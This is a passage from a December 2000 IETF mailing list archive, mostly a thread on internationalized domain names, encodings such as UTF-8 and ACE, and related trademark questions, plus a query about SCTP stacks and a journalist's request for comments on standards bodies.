obviously a >boon to their pre-integration service models. Unicode came late to everybody's adoption of computerization of writing. Most probably the delay is much longer for central markets than for peripheral markets, but that would have to be checked. Also, one main factor in the delay in many cases is the amount of time it takes for the specific 'market' to agree on a single encoding scheme, or encoding table, locally. In some cases (e.g. Korean), this is due to the wide range of choices that the script offers for encoding. In other cases, this is due to the fact that it takes some time (up to one generation) for all the people who have proposed and implemented different encodings not only to realize that everybody would benefit from a single encoding, but also to accept that to a large extent, which single encoding is chosen is by way less important than that a single one is chosen. >On the up-side, large user bases need not adapt to extraneous requirements >for participating in the "Internet community", and Universalist Credos may >fail in the markets (plural intended). I think there is a difference between making it technically possible for everybody to participate in whatever community they want, and forcing anybody to do so. Internet technology has shown that it's quite usable in local circumstances (the best example in Intranets). Regards, Martin. From owner-ietf-outbound Tue Dec 5 04:41:06 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA14121 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 04:40:04 -0500 (EST) Received: from sh.w3.mag.keio.ac.jp (sh.w3.mag.keio.ac.jp [133.27.194.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA06820 for ; Tue, 5 Dec 2000 04:10:09 -0500 (EST) Received: from enoshima (dhcp-194-237.mag.keio.ac.jp [133.27.194.237]) by sh.w3.mag.keio.ac.jp (8.9.3/3.7W) with ESMTP id SAA27359; Tue, 5 Dec 2000 18:10:23 +0900 (JST) Message-Id: <4.2.0.58.J.20001205171204.02c4e100@sh.w3.mag.keio.ac.jp> X-Sender: duerst@sh.w3.mag.keio.ac.jp X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J Date: Tue, 05 Dec 2000 18:05:25 +0900 To: Dave Crocker From: "Martin J. Duerst" Subject: Re: Will Language Wars Balkanize the Web? Cc: Graham Klyne , ietf@ietf.org In-Reply-To: <5.0.1.4.2.20001204080352.03528790@joy.songbird.com> References: <4.2.0.58.J.20001204170631.0340fce0@sh.w3.mag.keio.ac.jp> <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 00/12/04 08:15 -0500, Dave Crocker wrote: >Thank you. I was hoping someone would point out the support for parallel >operation so we could go further down that path. As you note, it seems to >be the closest to providing local/global support already. > >That means postal gives us: > >1. Global support for a common "character set" > >2. Global support for a carefully mixed character set -- though really it >is just a partitioning between the global field and the local field > >3. Local support for a local character set. > >(the support goes beyond character set, but let's leave it at that if >that's ok.) > >An immediate problem with comparing to postal is that it somewhat >correlates with the path a letter will take, so that the incremental >interpretation can be done by groups with different language skill-sets. Really big post offices have special places to handle things such as incomplete addresses. Nothing guaranteed, but if you are lucky, you may even successfully send a letter from an arbitrary place to anywhere in the world using local addressing, at least if you don't forget the country name in the local script. >The DNS does not have that flexibility and the domain name interpretation >is not part of the transfer sequence of the data. Yes, there are quite some differences. The advantage we have is that as soon as the characters are somehow in the computer, everything else is mechanical. This means there is no need for a global field; if somebody is able to type in the address, that's it, the machine does the rest. >Schemes that put an ACE-like field into a .com might be considered to be >like #2, above, by really they are not. The whole string is still global. ACE is (maybe) for machines. It's not primarily intended for humans. We may have ACE all the way (including TLD). It might be usable as a poor man's ASCII equivalent, but I strongly doubt that anybody will want to have it on the Latin side of their name card. >Frankly this leaves me viewing the postal example as pretty unhelpful for >finding a solution to the DNS requirement. Well, the postal example shows how Latin and other scripts can both be used to address something. The mixed case is not too important for us, as discussed above. In the postal example, conversion from one notation to the other is a complex process (in particular for Japanese, lookup in context is absolutely necessary). So I don't expect that something purely mechanical (e.g. ACE) will do for DNS. >On the other hand, this thread was triggered by Graham's question about >the negative impact of partitioning. The postal example would seem to >show that the effect is not so bad. >Except I would claim that it is not partitioning. Note that an address >always has a global representation, in addition to a possibly different >local one. It's a kind of partitioning, in that it is not always easy, for everybody, to do use the 'local' address or to convert from a local to a global one. >Perhaps that can reconciled as easily as claiming that any 'local' domain >name must also have a global form? (But, somehow, the word "scaling" gets >in the way of believing that.) Scaling would be only by a factor 2. Regards, Martin. From owner-ietf-outbound Tue Dec 5 05:21:05 2000 Received: by ietf.org (8.9.1a/8.9.1a) id FAA23799 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 05:20:02 -0500 (EST) Received: from NOD.RESTON.MCI.NET ([166.60.6.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA21686 for ; Tue, 5 Dec 2000 05:11:45 -0500 (EST) Received: from vint.mci.net ([166.60.18.100]) by shoe.reston.mci.net (PMDF V5.2-32 #40475) with ESMTPA id <01JXC0KMKRGY9N4EE9@shoe.reston.mci.net> for ietf@ietf.org; Tue, 5 Dec 2000 05:11:45 EST Date: Tue, 05 Dec 2000 05:16:00 -0500 From: vint cerf Subject: Re: Will Language Wars Balkanize the Web? In-reply-to: <4.2.0.58.J.20001205165625.02cf8550@sh.w3.mag.keio.ac.jp> X-Sender: vcerf@shoe.reston.mci.net To: "Martin J. Duerst" , Eric Brunner , GK@dial.pipex.com Cc: ietf@ietf.org Message-id: <5.0.2.1.2.20001205051526.02516c38@shoe.reston.mci.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT References: <200012050058.TAA24598@world.std.com> Content-Transfer-Encoding: 7BIT X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7BIT however the value of the public Internet is surely in its widespread accessibility and interoperability. vint At 05:10 PM 12/5/2000 +0900, Martin J. Duerst wrote: >I think there is a difference between making it technically possible >for everybody to participate in whatever community they want, and >forcing anybody to do so. Internet technology has shown that it's >quite usable in local circumstances (the best example in Intranets). From owner-ietf-outbound Tue Dec 5 05:31:06 2000 Received: by ietf.org (8.9.1a/8.9.1a) id FAA26274 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 05:30:04 -0500 (EST) Received: from mailhub-node1.mailbox.net.uk (calvin.mailbox.net.uk [195.82.125.30]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA22142 for ; Tue, 5 Dec 2000 05:13:57 -0500 (EST) Received: from [195.82.120.191] (helo=steve.mailbox.net.uk) by mailhub-node1.mailbox.net.uk with esmtp (Exim 3.12 #1) id 143F6Z-00073Q-00; Tue, 05 Dec 2000 10:13:47 +0000 Message-Id: <4.3.1.2.20001205100654.00b264a0@pop3.mailbox.co.uk> X-Sender: steve@pop3.mailbox.co.uk X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Tue, 05 Dec 2000 10:14:26 +0000 To: vint cerf , Richard Shockey , dank@hq.lindsayelec.com (Dan Kolis), ietf@ietf.org From: Stephen Dyer Subject: Re: Example of dns (non) fun In-Reply-To: <5.0.2.1.2.20001205033532.02554198@shoe.reston.mci.net> References: <5.0.0.25.2.20001204190533.029a5e70@127.0.0.1> <20001204220041184.AAA301%hq.lindsayelec.com@hq.lindsayelec.com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id FAA22142 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Hi, There is also an interesting legal problem lurking with http://www.deja.fr/ and http://www.bq--aduwvya.fr/ A court might find me guilty of trademark violation of "deja" with the first URL, but I can't see them upholding the same for "bq--aduwvya" Steve Dyer At 03:37 05/12/2000 -0500, vint cerf wrote: >from a purely mechanical point of view, if the character encoding >of these two strings makes them distinct, one might have to treat >them as distinct registrations - unless a very mechanical means of >converting them both into some canonical form were available to >make them "match" - one would imagine that such canonicalization >process might require language-specific knowledge and that sounds >pretty challenging. > >Vint > >At 07:09 PM 12/4/2000 -0500, Richard Shockey wrote: > >At 05:00 PM 12/4/2000 -0500, Dan Kolis wrote: > >>In the present regime, its not surprising the frist below does not resolve > >>and the second does: > >> > >>http://www.déjà.fr/ > >>http://www.deja.fr/ > >> > >> > >>In the proposed regime, its not obvious what to do from a purely consumer > >>point of view. > > > >Depends on who is the consumer... to the French the difference here is > completely obvious... and this whole problem is just "another Anglo-Saxon > plot" etc... > > > > > >>Verisigns view would be each is completely unique. ICANN's > >>dispute resolution would say there completely identifical and one has > to go! > >>But ICANN's resolution makes this problem appear in the first place. > > > > > > > From owner-ietf-outbound Tue Dec 5 05:41:06 2000 Received: by ietf.org (8.9.1a/8.9.1a) id FAA28794 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 05:40:03 -0500 (EST) Received: from mta05.mail.mel.aone.net.au (mta05.mail.au.uu.net [203.2.192.85]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA28164 for ; Tue, 5 Dec 2000 05:37:09 -0500 (EST) Received: from Dassa ([210.84.61.17]) by mta05.mail.mel.aone.net.au with SMTP id <20001205103707.LRLE19572.mta05.mail.mel.aone.net.au@Dassa> for ; Tue, 5 Dec 2000 21:37:07 +1100 Reply-To: From: "Dassa" To: Subject: RE: Example of dns (non) fun Date: Tue, 5 Dec 2000 21:36:45 +1100 Message-ID: <004b01c05ea7$4f6fa4c0$0100a8c0@Dassa> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-reply-To: <4.3.1.2.20001205100654.00b264a0@pop3.mailbox.co.uk> Importance: Normal Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Hi Actually IMHO, it would not be such a jump for them to make. They impose trademark restrictions on DNS entries and the URDP has been used to capture some generic wording. As the by--aduwvya actually translates to a similar wording I don't see it holding up the courts or the URDP for long. Dassa |>-----Original Message----- |>From: Stephen Dyer [mailto:steve@uk.com] |>Sent: Tuesday, December 05, 2000 9:14 PM |>To: vint cerf; Richard Shockey; Dan Kolis; ietf@ietf.org |>Subject: Re: Example of dns (non) fun |> |> |>Hi, |> |>There is also an interesting legal problem lurking with |>http://www.deja.fr/ and http://www.bq--aduwvya.fr/ |> |>A court might find me guilty of trademark violation of "deja" |>with the |>first URL, but I can't see them upholding the same for "bq--aduwvya" From owner-ietf-outbound Tue Dec 5 07:01:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA17683 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 07:00:02 -0500 (EST) Received: from mimesweeper.radioscape.com (mail.radioscape.com [193.122.23.66]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16648 for ; Tue, 5 Dec 2000 06:55:13 -0500 (EST) Received: from euler.radioscape.com (unverified) by mimesweeper.radioscape.com (Content Technologies SMTPRS 4.1.5) with ESMTP id for ; Tue, 5 Dec 2000 11:56:36 +0000 Received: by EULER with Internet Mail Service (5.5.2448.0) id ; Tue, 5 Dec 2000 11:53:14 -0000 Message-ID: <3190BC9FA8F6D3119508009027E5B33E1CD9AD@MORSE> From: "Thakare, Kiran" To: ietf@ietf.org Subject: SCTP Protocol stack Date: Tue, 5 Dec 2000 11:55:05 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Hi All, Does anyone know if the SCTP/IP protocol stack can be bought as the off the shelf product? Any information on this is appreciate. Thanks Kiran. ---------------------------------------------------------------------- RadioScape Ltd. - Software Defined Radio Solutions ---------------------------------------------------------------------- Kiran Thakare, Sr. UMTS Architect - Third Generation Mobile Communications RadioScape Ltd. 2 Albany Terrace, Regent's Park, London NW1 4DS Tel: +44 (0) 207 224 1586 Direct: +44 (0) 207 317 3428 Fax: +44 (0) 207 224 1595 Email: kthakare@radioscape.com ********************************************************************** This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify postmaster@radioscape.com. This footnote also confirms that this email message has been scanned for the presence of computer viruses known at the time of sending. www.radioscape.com ********************************************************************** From owner-ietf-outbound Tue Dec 5 07:51:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA03654 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 07:50:02 -0500 (EST) Received: from stewart.chicago.il.us (IDENT:root@3ff83343.dsl.flashcom.net [63.248.51.67]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA02805 for ; Tue, 5 Dec 2000 07:47:20 -0500 (EST) Received: from stewart.chicago.il.us (IDENT:randall@stewart.chicago.il.us [10.1.1.1]) by stewart.chicago.il.us (8.9.3/8.8.7) with ESMTP id GAA17194; Tue, 5 Dec 2000 06:47:29 -0600 Sender: randall@STEWART.CHICAGO.IL.US Message-ID: <3A2CE3E1.4CD5A43B@stewart.chicago.il.us> Date: Tue, 05 Dec 2000 06:47:29 -0600 From: "Randall R. Stewart" X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.12-20 i686) X-Accept-Language: en MIME-Version: 1.0 To: "Thakare, Kiran" CC: ietf@ietf.org Subject: Re: SCTP Protocol stack References: <3190BC9FA8F6D3119508009027E5B33E1CD9AD@MORSE> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Kiran: I do believe that several companies do sell SCTP stacks. These all participated at the bakeoff, you can get a list of participants from: ftp://standards.nortelnetworks.com/sigtran-test/rtp00 You can also get a free SCTP stack that is full featured and runs in user space. It is quite sound and is being maintained and updated ... at: http://www.sctp.chicago.il.us A new version should be out soon with some fixes for the dec tru64 architecture. The version above runs on linux solaris and lynx-os Regards R "Thakare, Kiran" wrote: > > Hi All, > > Does anyone know if the SCTP/IP protocol stack can be bought as the off the > shelf product? > Any information on this is appreciate. > Thanks > Kiran. > > ---------------------------------------------------------------------- > RadioScape Ltd. - Software Defined Radio Solutions > ---------------------------------------------------------------------- > Kiran Thakare, > Sr. UMTS Architect - Third Generation Mobile Communications > > RadioScape Ltd. > 2 Albany Terrace, > Regent's Park, > London NW1 4DS > > Tel: +44 (0) 207 224 1586 > Direct: +44 (0) 207 317 3428 > Fax: +44 (0) 207 224 1595 > > Email: kthakare@radioscape.com > > ********************************************************************** > This email and any files transmitted with it are confidential and > intended solely for the use of the individual or entity to whom they > are addressed. If you have received this email in error please notify > postmaster@radioscape.com. > > This footnote also confirms that this email message has been scanned > for the presence of computer viruses known at the time of sending. > > www.radioscape.com > ********************************************************************** -- Randall R. Stewart randall@stewart.chicago.il.us or rrs@cisco.com 815-342-5222 (cell) 815-477-2127 (work) From owner-ietf-outbound Tue Dec 5 09:31:06 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA27927 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 09:30:03 -0500 (EST) Received: from Mail6.mgfairfax.rr.com (fe6.southeast.rr.com [24.93.67.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA27299 for ; Tue, 5 Dec 2000 09:25:03 -0500 (EST) Received: from mosquito.inet.org ([24.168.212.166]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Tue, 5 Dec 2000 09:24:37 -0500 Message-Id: <5.0.0.25.2.20001205091620.00a52770@10.30.15.2> X-Sender: rja@10.30.15.2 X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 05 Dec 2000 09:17:22 -0500 To: "Martin J. Duerst" From: RJ Atkinson Subject: RE: Will Language Wars Balkanize the Web? Cc: ietf@ietf.org In-Reply-To: <4.2.0.58.J.20001205165042.02eb0c60@sh.w3.mag.keio.ac.jp> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org At 02:53 05/12/00, Martin J. Duerst wrote: >At 00/12/04 10:42 -0800, Christian Huitema wrote: >>So, at a minimum, we need an IETF >>specification on how to detect that a domain name part is using a non ascii >>encoding, so that DNS servers don't get lost. > >Why not just use UTF-8? It is an encoding of the UCS (aka >Unicode/ISO 10646), the encoding is fully compatible with >ASCII (all 7-bit bytes are ASCII and only ASCII), and it >is IETF policy (RFC 2277). All, Please MOVE this conversation to the IDN WG list, where it would be in scope. Btw, this specific question has been raised and answered several times now on the IDN list. I encourage folks to read the sundry IDN proposals before diving in any deeper here. Thanks, Ran From owner-ietf-outbound Tue Dec 5 10:21:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA13814 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 10:20:03 -0500 (EST) Received: from chmls05.mediaone.net (chmls05.mediaone.net [24.147.1.143]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11576 for ; Tue, 5 Dec 2000 10:12:15 -0500 (EST) From: pete@loshin.com Received: from gateway.loshin (h00a0c5e1478f.ne.mediaone.net [24.147.211.223]) by chmls05.mediaone.net (8.8.7/8.8.7) with ESMTP id KAA22291 for ; Tue, 5 Dec 2000 10:12:14 -0500 (EST) Received: from gateway.loshin (IDENT:pete@localhost.localdomain [127.0.0.1]) by gateway.loshin (8.9.3/8.9.3) with ESMTP id KAA01070 for ; Tue, 5 Dec 2000 10:09:32 -0500 Message-Id: <200012051509.KAA01070@gateway.loshin> X-Mailer: exmh version 2.1.1 10/15/1999 To: ietf@ietf.org Subject: request for comments on the standards process Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 05 Dec 2000 10:09:32 -0500 X-Loop: ietf@ietf.org Hello--I'm working on an article to appear in CMP's PlanetIT.com website, about standards organizations and their current relevance. I'm looking for comments from participants and leaders in the IETF (as well as participants in other standards organizations, the W3C in particular). If you'd like to share your thoughts, please get back to me in the next couple of days (the deadline for this article is this Friday) with whatever comments/responses you've got to any of the following questions. Please include contact information (phone number, full name, and whatever title or affiliation you wish to be known by). Here they are: - What role do consortiums and standards organizations play in terms of standards that 2001 industries actually use? - What impact do IETF activities have on industry market leaders? For example, IPv6 has been in the pipeline for years, but there are still relatively few fully-developed commercial solutions available. - The HTTP working group has concluded, and the W3C's Web Characterization Activity conclusions appear to be that it's impossible to draw conclusions. Does HTTP have a future, or is it fully mature? - Microsoft is very active in defining standards such as XML, SOAP, XHTML, and others--to what extent does that effectively cede control over these ertswhile open standards to Microsoft? - There is a perception that the IETF (and W3C) used to be much more influential during the course of the Microsoft v Netscape "browser wars", and that now that influence is waning. How accurate is that perception, and what is the reality? I appreciate any contributions you can offer, and hope that this will help make IETF activities more visible as well as more clearly understood. Thank you! -pl -- +-------------------------------------------------------------+ | Pete Loshin http://www.loshin.com | | Internet-Standard.com http://Internet-Standard.com | | The RFC Books Series http://www.loshin.com/bigbooks.html | | The Linux Project http://www.thelinuxproject.com | +-------------------------------------------------------------+ From owner-ietf-outbound Tue Dec 5 10:31:05 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA16383 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 10:30:03 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12862 for ; Tue, 5 Dec 2000 10:16:58 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 143JpQ-000H0F-00; Tue, 05 Dec 2000 07:16:24 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Martin J. Duerst" Cc: Dave Crocker , Graham Klyne , ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? References: <4.2.0.58.J.20001204170631.0340fce0@sh.w3.mag.keio.ac.jp> <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> <4.2.0.58.J.20001205171204.02c4e100@sh.w3.mag.keio.ac.jp> Message-Id: Date: Tue, 05 Dec 2000 07:16:24 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > Really big post offices have special places to handle things such > as incomplete addresses. Nothing guaranteed, but if you are lucky, > you may even successfully send a letter from an arbitrary place to > anywhere in the world using local addressing, at least if you don't > forget the country name in the local script. tagging, eh? From owner-ietf-outbound Tue Dec 5 11:01:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA24632 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 11:00:03 -0500 (EST) Received: from localhost.localdomain ([216.52.68.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22137 for ; Tue, 5 Dec 2000 10:51:56 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eB5FtEO19046 for ; Tue, 5 Dec 2000 10:55:14 -0500 Sender: francis@localhost.localdomain Message-ID: <3A2D0FE0.8A78B537@ecal.com> Date: Tue, 05 Dec 2000 10:55:13 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? References: <4.2.0.58.J.20001204170631.0340fce0@sh.w3.mag.keio.ac.jp> <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> <4.2.0.58.J.20001205171204.02c4e100@sh.w3.mag.keio.ac.jp> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit "Martin J. Duerst" wrote: > The mixed case is not too > important for us, as discussed above. I think it can be, actually. Suppose you've got someone living in Spain, whose father is Spanish and whose mother is Japanese. His full surname, then, is something like Ohta y Montoya (or maybe the other way around; I don't remember). Now he wants to get a vanity domain, with "Ohta" in Japanese characters and "y Montoya" in Roman letters. He needs to be able to mix character sets. -- /===============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |==============================================| |eCal Corp. |"Fate just isn't what it used to be." --Hobbes| |francis@ecal.com| | \===============================================================/ From owner-ietf-outbound Tue Dec 5 11:11:04 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA27022 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 11:10:02 -0500 (EST) Received: from europe.std.com (europe.std.com [199.172.62.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA23608 for ; Tue, 5 Dec 2000 10:56:42 -0500 (EST) Received: from world.std.com (brunner@world-f.std.com [199.172.62.5]) by europe.std.com (8.9.3/8.9.3) with ESMTP id KAA29916; Tue, 5 Dec 2000 10:56:39 -0500 (EST) Received: from localhost (brunner@localhost) by world.std.com (8.9.3/8.9.3) with SMTP id KAA11452; Tue, 5 Dec 2000 10:56:38 -0500 (EST) Message-Id: <200012051556.KAA11452@world.std.com> X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol To: "Martin J. Duerst" cc: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: Your message of "Tue, 05 Dec 2000 16:53:04 +0900." <4.2.0.58.J.20001205165042.02eb0c60@sh.w3.mag.keio.ac.jp> Date: Tue, 05 Dec 2000 10:56:38 -0500 From: Eric Brunner X-Loop: ietf@ietf.org Martin, I'll send you a copy of the "@sign vs !path" debate from my USENIX papers archive. See "Pathalias: or The Care and Feeding of Relative Addresses" by Honeyman and Bellovin, undated, at http://www.uucp.org/papers/pathalias.pdf. Speculations on the general utility and availability of "single" encoding schemes or some approximation of limited ambiguity code-set mapping(s) should not displace actual data. The claim that iso10646 is "good" is not improved by non-reference to the costs and benefits of ASCII-colliding encodings (EBCDIC, SJIS, etc.), just as the "interoperability" claim is not improved by non-reference to the operational deployment of serviceable encoding. Ignoring the daft peculiarities of particular encodings (and ANSI C) such as NULLs in strings (or file names), what I learned from owning the i18n problem at Sun was that a program of code-set indepence had time-to-market, sustaining engineering, and ease of implementation arguements over a program of opportunistic code-set dependence (the industry standard practice), and as a matter of convience, that the XPG/3 locale model made a utf8 locale a minor cost item, and an interal convenience mechanism. It was a compelling case who's hardest technical issue was dynamic character width determination in the bottom-half of the tty subsystem. I mention this to contrast it with substition of UTF8 (or any fixed-width multi-octet encoding scheme) dependence for ASCII dependence, or the common form of an addition of an "alternate code path" which affords run-time selection of one of two code-set dependent processing mechanisms. From my perspective, the IETF has preferred the second form of solution to the problem since the appearence of rfc2130. See also the following rfcs: 0373, 1345, 1468, 1489, 1502, 1555, 1557, 1815, 1842, 1922, 1947, 2237, and 2319. As I pointed out to you over lunch Thursday at the W3C AC meeting, the i18n problem is not simplified by the constraint which requires reference to iso639, or iso3166. While few APRAnauts have an evident interest in the problem of Euro-American Americanist hobbiests getting the fundamentals of Cherokee wrong (or care that there are three Cherokee polities), in an ISO normative reference (iso10646), on other lists (ICANN cluttered) Americans of sundry "liberties" pursuasions are quite worked up that Euro-American Sinology hobbiests are not, or may not, have precedence over Chinese governmental and cultural institutions on the operational deployment of Chinese language elements in the DNS (CNNIC vs Verisign). A related question is whether the i18n problem is simplified by a constraint which requires reference to the IAB Technical Comment on the Unique DNS Root, a constraint which adds, without reflection, the constraints of iso3166 to the dns-i18n problem set. Again, from my perspective, several sets of critics of the IANA transition(s), and its reluctant proponents, have overloaded the dns-i18n problem set as either an escape mechanism from uniqueness of the DNS root, or as a problem which cannot be solved except by preservation of the same property (uniqueness). Neither party appear to be motivated by the interests of users of ASCII colliding or pre-iso10646 (et alia) encodings, or users without practicable means to use their preferred writing (or signing) systems. Assuming a heterogenity of end-systems, each possibly with a heterogenous set of character encoded applications with some cut-buffer mediation mechanism, e.g., a (encoding-neutral or encoding-preferential) windowing system for transparent, or converted reads and write operations between end-system resident applications, and a DNS resolver library with access DNS service, and no additional constraints (these are enough, thanks!), is UTF-8 _the_ compelling answer? The attractions of Universalism still appear to be compelling, only if some non-technical, or ancilliary service model is controlling. Unfortunately, the utility of Particularism is temporarily hijacked anywhere near the DNS by partizans of one convention or its converse. If next-hop has a case for forwarding, then it is surprising that the case can't be applied to forwarding, except for opaque datagrams. Cheers, Eric P.S. I forgot to work in NATs and VPNs. Sigh. From owner-ietf-outbound Tue Dec 5 11:21:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA29446 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 11:20:03 -0500 (EST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA24711 for ; Tue, 5 Dec 2000 11:00:26 -0500 (EST) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id HAA02343; Tue, 5 Dec 2000 07:59:53 -0800 (PST) Received: from [10.21.51.74] (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id eB5FxpU04213; Tue, 5 Dec 2000 07:59:51 -0800 (PST) Mime-Version: 1.0 X-Sender: pfaltstr@nordic.cisco.com Message-Id: In-Reply-To: <4.2.0.58.J.20001205171204.02c4e100@sh.w3.mag.keio.ac.jp> References: <4.2.0.58.J.20001204170631.0340fce0@sh.w3.mag.keio.ac.jp> <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> <4.2.0.58.J.20001205171204.02c4e100@sh.w3.mag.keio.ac.jp> Date: Tue, 5 Dec 2000 07:42:12 -0800 To: "Martin J. Duerst" , Dave Crocker From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?= Subject: Re: Will Language Wars Balkanize the Web? Cc: Graham Klyne , ietf@ietf.org Content-Type: text/plain; charset="iso-8859-1" ; format="flowed" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA24711 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit At 18.05 +0900 00-12-05, Martin J. Duerst wrote: >ACE is (maybe) for machines. It's not primarily intended for humans. >We may have ACE all the way (including TLD). It might be usable as a >poor man's ASCII equivalent, but I strongly doubt that anybody will >want to have it on the Latin side of their name card. I would, because I know that people in many parts of the world don't know how to enter "sömos" on their keyboard, and if I register the domain "snömos.se", I really want people to be able to get to http://www.snömos.se so, if I think it is perfectly alright to have http://www.bq--abzw55tnn5zq.se on my buissnes card (aswell). paf -- From owner-ietf-outbound Tue Dec 5 12:41:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA20565 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 12:40:02 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18490 for ; Tue, 5 Dec 2000 12:28:52 -0500 (EST) From: Masataka Ohta Message-Id: <200012051712.CAA14679@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id CAA14679; Wed, 6 Dec 2000 02:11:49 +0859 Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <5.0.0.25.2.20001205091620.00a52770@10.30.15.2> from RJ Atkinson at "Dec 5, 2000 09:17:22 am" To: RJ Atkinson Date: Wed, 6 Dec 2000 02:11:46 +0859 () CC: "Martin J. Duerst" , ietf@ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] X-Loop: ietf@ietf.org Ran; > At 02:53 05/12/00, Martin J. Duerst wrote: > >At 00/12/04 10:42 -0800, Christian Huitema wrote: > >>So, at a minimum, we need an IETF > >>specification on how to 